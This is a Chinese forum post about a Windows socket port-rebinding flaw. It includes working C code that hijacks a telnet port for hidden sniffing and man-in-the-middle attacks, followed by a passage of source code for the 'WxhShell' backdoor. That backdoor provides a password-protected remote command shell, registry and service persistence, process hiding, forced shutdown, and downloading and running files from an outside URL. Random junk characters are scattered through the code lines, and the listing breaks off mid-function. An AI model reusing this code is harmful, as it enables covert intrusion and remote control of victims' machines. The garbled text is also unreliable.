社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16456阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $wq[W,'#L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gZ b +m  
:<w2j 6V  
  saddr.sin_family = AF_INET; LLlt9(^d  
}>T$2"pf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FWu[{X;  
IA$)E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E]<Ce;Vj  
l%^VBv> 2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0[SJ7k19  
S.Rqu+  
  这意味着什么?意味着可以进行如下的攻击: S( nZ]QEG  
g4"0:^/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  |)'6U3  
=}h8Cl{H/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q3OGU}F  
w,/&oe5M+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E` O@UW@  
C % d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d \[cFe1d  
/j|Rz5@ =  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fP :26pK^  
yCt,-mz!z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RD1N@sHDKc  
#;*0 Pwe`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qC;1ND  
]u\K}n6[q  
  #include GI ~<clhf  
  #include C>bd HB7  
  #include tn@MOOP l  
  #include    ^qgOgu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p(J,fus  
  int main() vsDR@Y}k  
  { pD )$O}  
  WORD wVersionRequested; ESQgN+llj  
  DWORD ret; V_.n G;  
  WSADATA wsaData; <R%]9#re  
  BOOL val; |5(< Vk=  
  SOCKADDR_IN saddr; 'tRaF  
  SOCKADDR_IN scaddr; Kq. MmR!gl  
  int err; mxxuD"5  
  SOCKET s; VUD ?iv7  
  SOCKET sc; H[S 4o,  
  int caddsize; Q \E [py  
  HANDLE mt; n@"h^-  
  DWORD tid;   ?~g X7{>  
  wVersionRequested = MAKEWORD( 2, 2 ); ]EhU8bZ  
  err = WSAStartup( wVersionRequested, &wsaData ); (w+dB8 )X  
  if ( err != 0 ) { ~ R:=zGDV  
  printf("error!WSAStartup failed!\n"); qDzd_E@aR  
  return -1; W\W|v?r  
  } B)1.CHV%<  
  saddr.sin_family = AF_INET; ag~4m5n*~  
   bF#1'W&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IW1+^F9NEw  
?jDdF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R,'` A.Kk  
  saddr.sin_port = htons(23); GNIZHyT(O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vXA+4 ?ZG  
  { >^!qx b-  
  printf("error!socket failed!\n"); K/OE;;<IA  
  return -1; P{{pp<tX*&  
  } K}(0H[P  
  val = TRUE; fQtV-\Bc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -55Pvg0ND  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 68pB*(i  
  { >gqd y*Bg  
  printf("error!setsockopt failed!\n"); %%=PpKYtSD  
  return -1; AlQE;4yX  
  } $u`v k|\R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4z$}e-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yhBf%m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a/(IvOy#6  
/%'>?8/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @&7|Laa  
  { U <|h4'(@L  
  ret=GetLastError(); P<1ZpL  
  printf("error!bind failed!\n"); }/{G  
  return -1; BRu/pyxG  
  } mF|7:zSo  
  listen(s,2); [`u3SN/P  
  while(1) ^{vf|zZ _  
  { /<\B8^yQ  
  caddsize = sizeof(scaddr); tCw.wDq3=  
  //接受连接请求 b<N962 q$q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H+VKWGmfG  
  if(sc!=INVALID_SOCKET) < mb.F-8  
  { s?j` _ B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C6-71 `C0  
  if(mt==NULL) z 5T_  
  { x-Cy,d:YX  
  printf("Thread Creat Failed!\n"); l_Ffbs_6t  
  break; D8b~-#  
  } DV,rh83.ip  
  } |6mDooTy  
  CloseHandle(mt); :Y AxL J  
  } KG5h$eM'  
  closesocket(s); =h#3D?b0n  
  WSACleanup(); bkZ~O=uv$-  
  return 0; )kq3q5*_  
  }   )7H s  
  DWORD WINAPI ClientThread(LPVOID lpParam) U!0 Qf7D  
  { g7-=kmr|V  
  SOCKET ss = (SOCKET)lpParam; *t,J4c  
  SOCKET sc; ?2#v`Z=L;  
  unsigned char buf[4096]; K1F,M9 0]  
  SOCKADDR_IN saddr; &?-LL{W{  
  long num; 7xmyjy%c  
  DWORD val; vw'`t6  
  DWORD ret; ?-"%%#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n$ri:~s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (($"XOU  
  saddr.sin_family = AF_INET; |#r [{2sS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8, >YB+Hb  
  saddr.sin_port = htons(23); z&"-%l.b@}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u)DhkF|  
  { #\Q{?F!4  
  printf("error!socket failed!\n"); %/86}DCfE?  
  return -1; j70]2NgX  
  } ZW]Q|vPh4U  
  val = 100; 7,\Uk|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m}x&]">9  
  { | CC(`<\R  
  ret = GetLastError(); `@Q%}J  
  return -1; ~B NLzt3%O  
  } ?Q~6\xA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pmj]"7Vd[  
  { BZXP%{njS  
  ret = GetLastError(); #b~wIOR)Z  
  return -1; Llf |fayq  
  } (ei;Y~i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ew4>+o!  
  { 31w9$H N  
  printf("error!socket connect failed!\n"); NW.<v /?=,  
  closesocket(sc); cR0RJ$[d  
  closesocket(ss); S_z}h  
  return -1; UeG$lMV  
  } m]bv2S+5y  
  while(1) WhO;4-q)2  
  { yAu-BObD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /ry# q% ?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6~ *w~U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Wp0e?bK_  
  num = recv(ss,buf,4096,0); Z=ayVsJ3  
  if(num>0) q<YteuZJ,  
  send(sc,buf,num,0); ,1\nd{  
  else if(num==0) vZdn  
  break; Fb<r~2  
  num = recv(sc,buf,4096,0); FBjIft5e  
  if(num>0) AnbY<&OC1  
  send(ss,buf,num,0); o@?3i+%}8  
  else if(num==0) d(>7BV  
  break; mulK(mp  
  } C] <K s  
  closesocket(ss); VQm)32'  
  closesocket(sc); C-;y#a)  
  return 0 ; \iQD\=o  
  } p0KkPE">p4  
2V}tDN7c  
q;T3bxp+  
========================================================== |g5B==KI  
&CvNNDgrJ  
下边附上一个代码,,WXhSHELL rf+'U9  
~RQ6DG^  
========================================================== }w \["r  
sOSol7n  
#include "stdafx.h" x?J- {6k  
't$(Ruw  
#include <stdio.h> kIAWI;H{  
#include <string.h> r h*Pl]'3z  
#include <windows.h> Md \yXp  
#include <winsock2.h> `U4R% qhWA  
#include <winsvc.h> Bi"7FF(z  
#include <urlmon.h> tylMJ$ 9*.  
g)*[W>M  
#pragma comment (lib, "Ws2_32.lib") x1m J&D  
#pragma comment (lib, "urlmon.lib") 8&6h()  
%}+!%A.3  
#define MAX_USER   100 // 最大客户端连接数 8K! l X  
#define BUF_SOCK   200 // sock buffer kL.JrbM"  
#define KEY_BUFF   255 // 输入 buffer ^h+<Q%'a'  
10v4k<xb  
#define REBOOT     0   // 重启 6V=69}  
#define SHUTDOWN   1   // 关机 Q 'R@'W9  
:t\pi. uWt  
#define DEF_PORT   5000 // 监听端口 $oO9N^6yF  
^|@t2Rp@  
#define REG_LEN     16   // 注册表键长度 h+k:G9;sS  
#define SVC_LEN     80   // NT服务名长度 tT}*%A  
`A@{})+  
// 从dll定义API iH& Izv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N|c;Qzl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O:fv1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >9{Gdq[gyr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bk E4{P"  
}2Y:#{m  
// wxhshell配置信息 &pS <4  
struct WSCFG { _B` '1tNx  
  int ws_port;         // 监听端口   5;+OpB  
  char ws_passstr[REG_LEN]; // 口令 B\a-Q,Wf  
  int ws_autoins;       // 安装标记, 1=yes 0=no & ?mH[rG"  
  char ws_regname[REG_LEN]; // 注册表键名 BN&^$1F((  
  char ws_svcname[REG_LEN]; // 服务名 zbdmz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #C1u~db  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B./Lp_QK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6P=6E   
int ws_downexe;       // 下载执行标记, 1=yes 0=no VLW<"7I 6\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0c4H2RW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _tZT  
WL4{_X  
}; c>~"Z-VtX  
WjxO M\?#  
// default Wxhshell configuration l~,5)*T  
struct WSCFG wscfg={DEF_PORT, $LLkYOwI  
    "xuhuanlingzhe", 0  ;$[  
    1, <6`_Xr7)  
    "Wxhshell", ?yfk d:WD  
    "Wxhshell", &g R+D  
            "WxhShell Service", DVxW2J  
    "Wrsky Windows CmdShell Service", (tV/.x*G  
    "Please Input Your Password: ", q3\ YL?  
  1, <Q'J=;vV  
  "http://www.wrsky.com/wxhshell.exe", S[rz=[7{  
  "Wxhshell.exe" NF <|3|  
    }; 8 /1 sy.R  
Zr,:i MPZ  
// 消息定义模块 Al="ss&2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x@3Ix, b'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i-)OY,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z{U2K '  
char *msg_ws_ext="\n\rExit."; (]0JI1 d  
char *msg_ws_end="\n\rQuit."; smQ<lwA  
char *msg_ws_boot="\n\rReboot..."; =Jfo=`da  
char *msg_ws_poff="\n\rShutdown..."; tgy*!B6a~  
char *msg_ws_down="\n\rSave to "; 4QODuyl2H  
!Mp.jE  
char *msg_ws_err="\n\rErr!"; k3::5&  
char *msg_ws_ok="\n\rOK!"; qc_c&  
ZI4[v>  
char ExeFile[MAX_PATH]; :@zz5MB5@  
int nUser = 0; 7Z0fMk  
HANDLE handles[MAX_USER]; Md_S};!QN6  
int OsIsNt; v'(p."g  
bcFG$},k  
SERVICE_STATUS       serviceStatus; e[f}Lxln  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E}K6Op;=v5  
>[;+QVr;  
// 函数声明 2Z 4Ekq0@  
int Install(void); OnE#8*8  
int Uninstall(void); =n>&Bl-Bl  
int DownloadFile(char *sURL, SOCKET wsh); pIBL85Xe  
int Boot(int flag); 1e.V%!Xk  
void HideProc(void); m,KG}KX  
int GetOsVer(void); XVcY?_AS#  
int Wxhshell(SOCKET wsl); cl kL)7RQ  
void TalkWithClient(void *cs); Lu,72i0O ^  
int CmdShell(SOCKET sock); .}Va~[0j  
int StartFromService(void); 9~i=Af@  
int StartWxhshell(LPSTR lpCmdLine); &GF@9BXI3  
zi l^^wT0J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;5qZQ8`4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oUrNz#U  
Vvk1 D(  
// 数据结构和表定义 F)_zR  
SERVICE_TABLE_ENTRY DispatchTable[] = NO5\|.,Z  
{ UfcQFT{()  
{wscfg.ws_svcname, NTServiceMain}, F}p)Q$0  
{NULL, NULL} ? S^ U-.`  
}; rEEoR'c6  
(D5 dN\  
// 自我安装 8."B  
int Install(void) rw(EI,G  
{ aMdWT4  
  char svExeFile[MAX_PATH]; g{wOq{7V  
  HKEY key; |P!7T.  
  strcpy(svExeFile,ExeFile); P%w)*);  
J{ fTx@?(  
// 如果是win9x系统,修改注册表设为自启动 7.Df2_)  
if(!OsIsNt) { .YYfba#{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,@1rP55  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZoJ_I >uv  
  RegCloseKey(key); J:g4ES-/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?`ETlFtD4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .|Unq`ll  
  RegCloseKey(key); 6v(?Lr`D  
  return 0; 1vw [{.wC  
    } z2'3P{#s  
  } aQzDOeTi  
} ,gAa9  
else { oD1rt>k  
LsB|}_j7  
// 如果是NT以上系统,安装为系统服务 8$)xxV_zp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;7,>2VTm  
if (schSCManager!=0) f@Oi$9CZn  
{ FI|jsO 3  
  SC_HANDLE schService = CreateService cQM_kV??!  
  ( h`Ld%iN\  
  schSCManager, gEr@L  
  wscfg.ws_svcname, &c[.&L,w4  
  wscfg.ws_svcdisp, k# -u!G  
  SERVICE_ALL_ACCESS, ndW]S7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _{$eOwB  
  SERVICE_AUTO_START, r"HQ>Wn  
  SERVICE_ERROR_NORMAL, ZSWKVTi  
  svExeFile, 'x/pV5[hQ  
  NULL, KV&4Ep#  
  NULL, 7dxTyn=  
  NULL, PydU.,^7  
  NULL, ]J|]IP Xy  
  NULL G,o5JL"t  
  ); JK.<(=y\  
  if (schService!=0) $W}YXLFj?  
  { BF)!VnJ  
  CloseServiceHandle(schService); VY9o}J>,w  
  CloseServiceHandle(schSCManager); #Y|t,x;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K"fr4xHq  
  strcat(svExeFile,wscfg.ws_svcname); +UvT;"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /:S&1'=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3` ,u^ w  
  RegCloseKey(key); AN)exU ?  
  return 0; Bh<DqN  
    } _m0B6?KJ  
  } Ht`kmk;I)  
  CloseServiceHandle(schSCManager);  ylTX  
} P|U9f6^3  
} `IC2}IiF  
2Q bCH}  
return 1; P]h-**O  
} g/3t@7*<  
<D}yqq@|  
// 自我卸载 |FED<  
int Uninstall(void) 4eD>DW  
{ QYB66g:  
  HKEY key; T~D2rt\  
uv#."_Va  
if(!OsIsNt) { )\O;Rt(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kg/<<RO  
  RegDeleteValue(key,wscfg.ws_regname); n,Gvgf  
  RegCloseKey(key); C3k[ipCN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q}zd!*  
  RegDeleteValue(key,wscfg.ws_regname); 1@}s:  
  RegCloseKey(key); *'l|ws  
  return 0; f3;.+hJ])  
  } 1 r9.JS  
} zEBUR%9  
} NQ3EjARZt  
else { lEXER^6  
Mp-hNO}.Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q0j4 c  
if (schSCManager!=0) Crg@05Z  
{ ,#V }qSKUS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1#Q~aY  
  if (schService!=0) 4QZ|e{t  
  { pB;8yz=  
  if(DeleteService(schService)!=0) { q+ZN$4m  
  CloseServiceHandle(schService); *!5X!\e_  
  CloseServiceHandle(schSCManager); B'}pZOa[Wb  
  return 0; xq@_' 3X  
  } H*KZZTKd  
  CloseServiceHandle(schService); W ])Lc3X  
  } JmBe1"hs  
  CloseServiceHandle(schSCManager); ^.g BHZ  
} UlD]!5NO  
}  I?R?rW  
/:GeXDJw  
return 1; jt?DogYx  
} EK 8rV  
N+nv#]{  
// 从指定url下载文件 -\I".8"YE  
int DownloadFile(char *sURL, SOCKET wsh) )<K3Fz Bs  
{ ; 8B )J<y  
  HRESULT hr; Oj]4jRew  
char seps[]= "/"; ~TfN*0  
char *token;  8 ?4/  
char *file; -Cc2|~n  
char myURL[MAX_PATH]; g3*J3I-O  
char myFILE[MAX_PATH]; bAwFC2jO[  
}trQ<*D  
strcpy(myURL,sURL);  k:i}xKu  
  token=strtok(myURL,seps); E``\Jre@  
  while(token!=NULL) *|*6 q/  
  { aH'=k?Of;  
    file=token; qBDhCE  
  token=strtok(NULL,seps); HceZTe@  
  } iF^    
4?',E ddo  
GetCurrentDirectory(MAX_PATH,myFILE); V2oXg  
strcat(myFILE, "\\"); Xaw&41K  
strcat(myFILE, file); :8LK}TY7  
  send(wsh,myFILE,strlen(myFILE),0); (Kg( 6E,  
send(wsh,"...",3,0); 6|10OTVu`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c[zGWF#1>  
  if(hr==S_OK) Mh@RO|F  
return 0; {^A,){uX]  
else 60XTdJkDkA  
return 1; 4S\St <  
M $\!SXL  
} 79d< ,q;uR  
Sau?Y  
// 系统电源模块 [J\! 2\Oo  
int Boot(int flag) g!I0UAm  
{ OhiY <  
  HANDLE hToken; iPK:gK3Q  
  TOKEN_PRIVILEGES tkp; !.c no&  
&]S\GnqlU]  
  if(OsIsNt) { j<PpCL_8%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,7os3~Mk9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e\95X{_'  
    tkp.PrivilegeCount = 1; zW:r7 P.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \H {UJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Ma*qEB  
if(flag==REBOOT) { z;lWr(-x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _)a!g-Do7  
  return 0; 8dlhL8#  
} 7OdJ&Gzd  
else { /;;$9O9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y*-dUJK-`  
  return 0; ,tl(\4n  
} M-zqD8D  
  } P.W@5:sD  
  else { V2o1~R~  
if(flag==REBOOT) { 58[.]f~0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zOn% \  
  return 0; %'&_Po\  
} <o: O<p@6  
else { Xu%8Q?]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a+ s%9l  
  return 0; $^5c8wT  
} bOdQ+Y6  
} HSlAm&Y\  
I;UCKoFT  
return 1; I'c rH/z9  
} H]PEE!C;xC  
4O '%$6KR(  
// win9x进程隐藏模块 ,jJbQIu#  
void HideProc(void) 19*D*dkBR  
{ LNOz.2fr>  
-:|t^RM;FT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I`uOsZBO/  
  if ( hKernel != NULL ) _5H0<%\  
  { eeCrHt4;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fYiof]v@_m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :89AYqT"  
    FreeLibrary(hKernel); c3!YA"5  
  } r#\Lq;+-B  
^ Q  
return; #sb@)Q  
} LDY k\[81  
x.ucsb  
// 获取操作系统版本 w'&QNm>  
int GetOsVer(void) Q+zy\T  
{ Z3N^)j8  
  OSVERSIONINFO winfo; yv2wQ_({  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lem:zXj  
  GetVersionEx(&winfo); ?vg|;Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gh<2i\})'  
  return 1; jPmp=qg"q  
  else ]^v*2!_(  
  return 0; t$(<9  
} QRz5eGpW  
eK =v<X  
// 客户端句柄模块 j!/=w q  
int Wxhshell(SOCKET wsl) ;bYLQ  
{ a=AP*adx8  
  SOCKET wsh; lJ(] ;/%  
  struct sockaddr_in client; P|rreSv*  
  DWORD myID; *B%ulsm  
\PM5B"MDZ  
  while(nUser<MAX_USER) v 0D@`C  
{ 0'O6-1Li  
  int nSize=sizeof(client); .Gn-`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * %w8bB  
  if(wsh==INVALID_SOCKET) return 1; 2'7)D}p  
UY/qI%#L#,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _&K>fy3t&  
if(handles[nUser]==0) !H4C5wDu  
  closesocket(wsh); !f)^z9QX8  
else wG",Obja  
  nUser++; ;C~:C^Q\H  
  } MOIMW+n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _)-y&  
3?uah' D5  
  return 0; O%m>4OdH  
} 3\H0Nkubts  
jI45X22j  
// 关闭 socket .aD=d\  
void CloseIt(SOCKET wsh) *s6(1 S  
{ rk< 3QXv  
closesocket(wsh); p$}1V2h;  
nUser--; #KwK``XC 4  
ExitThread(0); :za:gs0  
} 57`9{.HB  
]udH`{]  
// 客户端请求句柄 YV)h"u+@0  
void TalkWithClient(void *cs) (i>bGmiN  
{ cp L'  
K%3{a=1  
  SOCKET wsh=(SOCKET)cs; <iN xtD0  
  char pwd[SVC_LEN]; \) vI-  
  char cmd[KEY_BUFF]; ;)'  
char chr[1]; }J(o!2.  
int i,j; 9y`Vg  
x|U[|i,;  
  while (nUser < MAX_USER) { lvk r2Meu<  
fe+2U|y  
if(wscfg.ws_passstr) { 7R=A]@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?f4jqF~Fh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qExmf%q:q  
  //ZeroMemory(pwd,KEY_BUFF); dobqYd4`  
      i=0; S*S @a4lV7  
  while(i<SVC_LEN) { k?qd -_sC  
MznMt2-u  
  // 设置超时 ghDOz 3  
  fd_set FdRead; ER)to<k  
  struct timeval TimeOut; >;Vy{bL8  
  FD_ZERO(&FdRead); 0)E`6s#M  
  FD_SET(wsh,&FdRead); Y<[jUe`O;  
  TimeOut.tv_sec=8; |$sMzPCxOk  
  TimeOut.tv_usec=0; &*;E wfgZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nYts[f9e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cB|Rj}40v  
9s`j@B0N57  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `xie/  
  pwd=chr[0]; } .'\IR  
  if(chr[0]==0xd || chr[0]==0xa) { ?/FCq6o  
  pwd=0; .Uh|V -  
  break; /rZ`e'}  
  } Uq:CM6q\  
  i++; b";D*\=x  
    } !y-,r4\@`  
YZQF*fj  
  // 如果是非法用户,关闭 socket X'.*I])  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q !Nb-O{  
} GcCMCR3  
Wv-nRDNG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v>E3|w%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v8NoD_  
CK#SD|~:  
while(1) { 7$|L%Sk  
W B7gY\Y&M  
  ZeroMemory(cmd,KEY_BUFF); M\)(_I)V=  
=`fz#Mfd  
      // 自动支持客户端 telnet标准   wH0Ks5  
  j=0; [zc8f  
  while(j<KEY_BUFF) { Oj0,Urs7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H3Sfz'  
  cmd[j]=chr[0]; CT#u+]T  
  if(chr[0]==0xa || chr[0]==0xd) { KXbD7N.  
  cmd[j]=0; t7qzAr  
  break; *;X,yEK[  
  } 8|H^u6+yz  
  j++; 6[SE*/E@L  
    } HG:9yP<,o  
@&}~r  
  // 下载文件 {+^qm8n  
  if(strstr(cmd,"http://")) { m5KAKpCR,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O cJ(i#Q~<  
  if(DownloadFile(cmd,wsh)) oC >l|?h,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pjrzoMF  
  else 4j VFzO%.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2S:"0?7  
  } bbAJ5EqL  
  else { j  hr pS  
0="U'|J_  
    switch(cmd[0]) { <OA[u-ph%S  
  e'L$g-;>4b  
  // 帮助 +RN|ZG&  
  case '?': { ddG5g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VMgO1-F  
    break; aOK,Mm:iO  
  } 04P!l  
  // 安装 3Q_L6Wj~  
  case 'i': { '?j,oRz^T  
    if(Install()) ,G%?}TfC)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:NFF'  
    else |"o/GUI~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E !}~j  
    break; o%V%@q H  
    } $ITh)#Nj  
  // 卸载 HqKI|^  
  case 'r': { {Tl|>\[P  
    if(Uninstall()) j/*4Wj[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=T/hb  
    else CZ.XEMN\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YpwMfl4  
    break; LG> lj$hO  
    } -naoM  
  // 显示 wxhshell 所在路径 <[w>Mbqj_  
  case 'p': { n1 kh8,  
    char svExeFile[MAX_PATH]; YDo Vm?  
    strcpy(svExeFile,"\n\r"); 0DgEOW9H  
      strcat(svExeFile,ExeFile); N\Li/  
        send(wsh,svExeFile,strlen(svExeFile),0); 2/M:KR  
    break; QZ^P2==x  
    } 8@Hl0{q  
  // 重启 Q]"u?Q]  
  case 'b': { h Lv_ER?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,!'L~{  
    if(Boot(REBOOT)) iQj2aK Gs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|E|(@J  
